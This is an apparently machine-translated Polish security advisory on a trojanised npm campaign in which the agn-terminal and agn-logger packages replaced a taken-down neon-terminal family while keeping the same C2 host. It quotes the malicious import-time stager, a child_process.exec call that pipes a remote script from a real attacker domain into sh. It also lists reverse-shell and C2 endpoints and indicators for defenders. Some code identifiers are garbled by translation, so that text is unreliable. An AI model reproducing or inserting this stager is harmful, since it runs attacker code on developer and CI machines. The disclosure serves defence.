GhostTracker: Trojan NPM zmienił nazwę w 74 minuty — ten sam C2

GhostTracker: trojan npm, który zmienił nazwę w ciągu kilku godzin od usunięcia — i zachował ten sam C2

TL; DR

Opublikowano pojedynczy operator npm pięć pakietów trojanizowanych w dwóch rundach w ciągu trzech dni. Pakiety podszywają się pod niewielkie narzędzia do obsługi terminala, loggera i klienta Postgres. Złośliwy kod uruchamia się moment zaimportowania paczki — nie ma skryptu instalacyjnego, którego trzeba by było przechwycić.

Runda pierwsza (neon-terminal, neon-postgres, ne-logger) zostało wycofane z publikacji 2026-07-05 o 14:14 UTC. Siedemdziesiąt cztery minuty później to samo konto ponownie opublikowało tego samego trojana pod nowymi nazwami (agn-terminal, agn-logger) — i wskazał na ten sam punkt końcowy poleceń i kontroli używał wcześniej: tracker.bvgroup.co.

Ten host C2 to jedyny wskaźnik, który przetrwał zmianę nazwy i jest najszybszym sposobem na znalezienie go przez obrońcę. Poważność: wysoka. Ekosystem: NpmW momencie pisania tego tekstu pakiety drugiej rundy były nadal dostępne.

Atak: jak działa

Pakiety są funkcjonalnymi przynętami. Otwórz terminal agn i znajdziesz kompletny, działający pomocnik kolorów ANSI — Kody, obsługuje kolor, pokolorować, malować — z typami i plikiem README. Kod narzędziowy działa. Na górze modułu wejściowego, nad użytecznym kodem, znajduje się kilka linijek kodu, które uruchamiają się po zaimportowaniu.

// agn-terminal 0.1.0 — src/index.js (top of module)
import { exec } from "node:child_process";

const child = exec(
  "curl -fsSL https://remote.agyn.org/remote.sh | " +
  "TRACKER_REMOTE_ENDPOINT='https://tracker.bvgroup.co/remote/…' sh",
  {}, (error, stdout, stderr) => {},
);

Na skuteczność tego rozwiązania składają się trzy rzeczy.

  • Uruchamia się przy imporcie, a nie instalacji. W pakiecie podano brak preinstalacja or po instalacji haczyk — typowe miejsce, w którym szukają skanerzy i recenzenci. exec Wywołanie to kod na poziomie modułu. Uruchamia się za pierwszym razem, gdy cokolwiek zostanie wykonane. wymagaj(“agn-terminal”) or importuj „agn-terminal”, na komputerze programisty lub w obrębie CI. Zarówno wpis ESM (src/index.js) i wpis CommonJS (cjs/src/index.js) przenoszą identyczny ładunek, dzięki czemu oba systemy modułowe są objęte ochroną.
  • Prawdziwy ładunek znajduje się poza opakowaniem. W pakiecie znajduje się tylko jednolinijkowy stager: pobierz remote.agyn.org/remote.sh` i prześlij go do sh`. To, co operator obsługuje z tego adresu URL w momencie żądania, jest uruchamiane. Punkt końcowy C2 jest przekazywany do pobranego skryptu przez ŚLEDZENIE_ZDALNEGO_PUNKTU_KOŃCOWEGO zmienna środowiskowa, więc skrypt etapu drugiego dzwoni do domu tracker.bvgroup.co.
  • Pakiet nośny zwiększa promień wybuchu. rejestrator agn to drugi wabik — „malutki globalny rejestrator”. Nie posiada własnego ładunku. Jego moduł wejściowy wykonuje jedną istotną czynność:
// agn-logger 0.1.0 — cjs/src/index.js
const { colorize, supportsColor } = require('agn-terminal');

To deklaruje terminal agn jako zależność i importuje ją. Instalacja lub importowanie rejestratora powoduje przejściowe pobranie i uruchomienie pakietu terminala. Projekt, który nigdy nie nadaje nazwy trojanowi bezpośrednio, nadal może go uruchomić za pośrednictwem rejestratora.

Co tu nowego?

W pierwszej rundzie nie użyto zdalnego stagera. Ładunek został dostarczony w trybie inline i eskalowany wersja po wersji — w jednym wydaniu zastosowano powłokę odwrotną bash, gniazdo sieciowe odwróć powłokę w następnym, git dodaj/commit/ Push katalogu roboczego ofiary w innym, a na koniec pełnego agenta poleceń i kontroli HTTP w neon-terminal 0.9.0, która zarejestrowała hosta, przeprowadziła sondowanie w celu znalezienia zadań i uruchomiła je Exec ()i przesyłane strumieniowo dane wyjściowe zakodowane w formacie Base64. Druga runda łączy to wszystko w jeden loczek | sh, całkowicie usuwając etap drugi z rejestru. Ten sam operator, cichszy pakiet, bardziej elastyczny ładunek — i, co najważniejsze, ten sam C2 co poprzednio.

Oś czasu

Data (UTC)wydarzenie
2026-07-03 07:03Pierwsza runda opublikowana: neon-terminal (0.1.0 czyste, następnie 0.2.0–0.9.0 złośliwe), neon-postgres 3.5.2, ne-logger 0.7.0
2026-07-03 07:05neon-terminal oznaczono w skanowaniu w czasie rzeczywistym
2026-07-04Potwierdzono szkodliwość; korelacja ujawnia dwa pakiety pokrewne; złożono pierwsze próby usunięcia
2026-07-05 14:14Runda pierwsza nieopublikowana — wszystkie osiem neon-terminal wersje plus rodzeństwo usunięte
2026-07-05 15:28agn-terminal 0.1.0 opublikowany
2026-07-05 15:29agn-logger 0.1.0 opublikowano — przewoźnik dla nowego pakietu terminalowego
2026-07-05 (w toku)Pakiety rundy drugiej są dostępne w momencie pisania

Obie rundy dzieliły trzy dni, a przerwa między usunięciem a ponownym uruchomieniem wyniosła 74 minuty. Kampania jest otwarta: agn-* W momencie pisania tego tekstu pakiety nie zostały jeszcze usunięte.

Wskaźniki kompromisu

Przeszukaj pliki blokady i drzewa zależności w poszukiwaniu nazw pakietów. Przeszukaj serwery proxy, DNS i EDR logi dla punktów końcowych sieci. Host C2 tracker.bvgroup.co obejmuje obie rundy i jest pojedynczym wskaźnikiem o najwyższej wartości.

Pakiety

PakietwersjeRolaStatus
neon-terminal0.2.0–0.9.0trojan (ładunki wbudowane → HTTP C2)niepublikowane
neon-postgres3.5.2trojan (ładunek w src/errors.js)niepublikowane
ne-logger0.7.0przewoźnik (zależy od neon-terminal)niepublikowane
agn-terminal0.1.0trojan (curl | sh stary wyga)relacja na żywo
agn-logger0.1.0przewoźnik (zależy od agn-terminal)relacja na żywo

neon-terminal Wersja 0.1.0 była czystym zalążkiem — działającą biblioteką kolorów bez ładunku — opublikowaną w celu ustanowienia pakietu przed pojawieniem się złośliwych wersji.

Sieć

WskaźnikKontekst
tracker.bvgroup.co/remote/…HTTP C2, obie rundy (runda druga token) t42xNzaT2SnXbS_PsZ3gKDY-keTufZ2J)
remote.agyn.org/remote.shładowarka dwuetapowa i jednoetapowa
reverse.bvgroup.co:443punkt końcowy odwrotnej powłoki rundy pierwszej (neon-terminal 0.6.0)
6.tcp.eu.ngrok.io:28754runda pierwsza odwrócona powłoka (neon-terminal 0.3.0)
2.tcp.eu.ngrok.io:25852runda pierwsza odwrócona powłoka (neon-terminal 0.4.0)
bvgroup.co, agyn.org, agyn.iodomeny kontrolowane przez operatora

Behawioralny

  • Poziom modułu child_process.exec na górze pliku wejściowego pakietu narzędziowego, w obu src/index.js (ESM) i cjs/src/index.js (CJS).
  • A curl -fsSL … | sh jednolinijkowy z C2 przekazanym przez ŚLEDZENIE_ZDALNEGO_PUNKTU_KOŃCOWEGO zmienna środowiskowa.
  • Drugi pakiet „narzędziowy”, który deklaruje pierwszy jako zależność i importuje go, nie mając własnego ładunku.
  • Resztki // neon-terminal komentarz na górze terminal agn — artefakt kopiuj-wklej łączący nową markę z oryginałem.

Skróty plików (SHA-256, runda druga)

  • terminal agn src/index.js Do 6d464cedf64f3a26fb8f5e61ee5730fe42be4135aa87429aeb514c4f97209bc7
  • terminal agn cjs/src/index.js Do b85e80056a7607c49add12c1626881392a28e7d0e146e49a856d84725cfb46ac
  • rejestrator agn src/index.js Do 667a858c749d058d4546654cdda59e963a1a0cba97900feeb96753c2d768ff19

Atrybucja i obserwowane zachowanie

Każdy pakiet jest powiązany z jednym kontem npm, vitalii-agyn, publikując pod niezweryfikowanym adresem e-mail vitalii@agyn.ioWłasne metadane rejestru konta zawierają listę wszystkich trzech pakietów rundy pierwszej, które są przez nie utrzymywane. Infrastruktura łączy rundy: domena agyn.org pasuje do wydawcy agyn.io domena e-mail i host C2 tracker.bvgroup.co pojawia się w obu neon-terminal 0.9.0 i terminal agn 0.1.0 — ta sama ścieżka kolektora, użyta ponownie w niezmienionej postaci po zmianie nazwy.

Opisujemy, co przedstawiają artefakty i na tym kończymy. Podany adres e-mail wydawcy to vitalii@agyn.io; nie zweryfikowaliśmy własności tego adresu i nie przypisujemy konta żadnej konkretnej osobie ani grupie. Ponowne użycie jednego punktu końcowego C2 w dwóch rodzinach pakietów jest silnym sygnałem tego samego operatora, a nie tożsamości.

W przypadku pakietów z pierwszej rundy nacisk położono na bliskość marki. neon-postgres był pełnym klonem powszechnie używanego Porsagera postgres.js klient, slogan i wszystko, z ładunkiem ukrytym w środku src/errors.js więc rutynowa ścieżka importu dotarłaby do niego — i neon- Prefiks zapożycza rozpoznawalność Neon, bezserwerowego dostawcy Postgres. Nazwy z drugiej rundy porzuciły imitację i stały się ogólne (terminal agn, rejestrator agn), marka handlowa przyciągająca uwagę w celu odejścia od wypalonych nazw.

 Wpływ, trendy i wskazówki dla obrońców

  • Kto jest narażony. Każdy, kto instaluje i importuje jeden z tych pakietów, bezpośrednio lub za pośrednictwem operatora, na hoście typu Unix. Stager używa curl oraz sh; muszle okrągłe używają bash oraz /dev/tcpPonieważ wykonanie następuje podczas importu, wystarczy serwer kompilacji, który instaluje zależność i uruchamia dowolny kod, który ją wykorzystuje — nie jest wymagany żaden krok po instalacji. Na stacji roboczej dewelopera lub w programie uruchamiającym CI, pobrany etap drugi uruchamia się z uprawnieniami użytkownika i pełnym zasięgiem sieci.
  • Dlaczego wykonywanie w czasie importu jest ważne. Obrona łańcucha dostaw skoncentrowała się na skryptach instalacyjnych i nie bez powodu – postinstall to klasyczny przyczółek npm. Ta kampania całkowicie to pomija. Nie ma haka instalacyjnego, który można by oznaczyć. złośliwy kod To zwykła inicjalizacja modułu, nieodróżnialna na pierwszy rzut oka od pakietu obliczającego tabelę wyszukiwania podczas ładowania. Narzędzia, które sprawdzają tylko skrypty w pliku package.json, nie widzą niczego.
  • Trend zmiany marki i ponownego wykorzystania. 74-minutowy zwrot akcji to historia. Takedown usunął nazwy, ale nie operatora, infrastrukturę ani kod. W ciągu godziny kampania została ponownie uruchomiona pod nowymi nazwami wskazującymi na ten sam C2. Blokowanie oparte na nazwach — denylisting neon-terminal — byłoby już nieaktualne. Blokowanie oparte na infrastrukturze — denylisting bvgroup.co — wykryłoby drugą rundę już na samym początku. Dla działającego operatora, który ponownie publikuje szybciej niż rejestry usuwają, trwałym wskaźnikiem jest punkt końcowy sieci, a nie nazwa pakietu.

Co zrobić teraz

  • Przeszukaj pliki blokady i zainstalowane drzewa dla wszystkich pięciu powyższych nazw pakietów. Potraktuj każde dopasowanie jako zainfekowanego hosta i zmień dostępne z niego dane uwierzytelniające.
  • Blokuj i wysyłaj alerty dotyczące domen bvgroup.co, agyn.orgoraz punkty końcowe ngrok w DNS i filtrowaniu wychodzącym. tracker.bvgroup.co jest priorytetem.
  • Nie polegaj wyłącznie na skanowaniu hooków instalacyjnych. Dodaj wykrywanie na poziomie modułu. proces_potomny i wywołań sieciowych w zależnościach oraz dla zwinąć … | sh wzorce w źródle pakietu.
  • Pakiet narzędziowy, który deklaruje inne, mało znane narzędzie jako swoją jedyną zależność i importuje je podczas ładowania, należy traktować jako wart ponownego przyjrzenia się.
  • W CI preferuję –Ignore-scripts tam, gdzie jest to praktyczne, ale należy pamiętać, że tutaj to nie pomaga — ładunek jest uruchamiany podczas importowania, więc ważniejsze są kontrole wyjścia w czasie wykonywania i przegląd zależności.

Referencje

sca-tools-oprogramowanie-narzędzia-analizy-kompozycji
Określ priorytety, rozwiąż problemy i zabezpiecz zagrożenia związane z oprogramowaniem
Załóż darmowe konto.
Nie wymagamy karty kredytowej.

Zabezpiecz rozwój i dostarczanie oprogramowania

z pakietem produktów Xygeni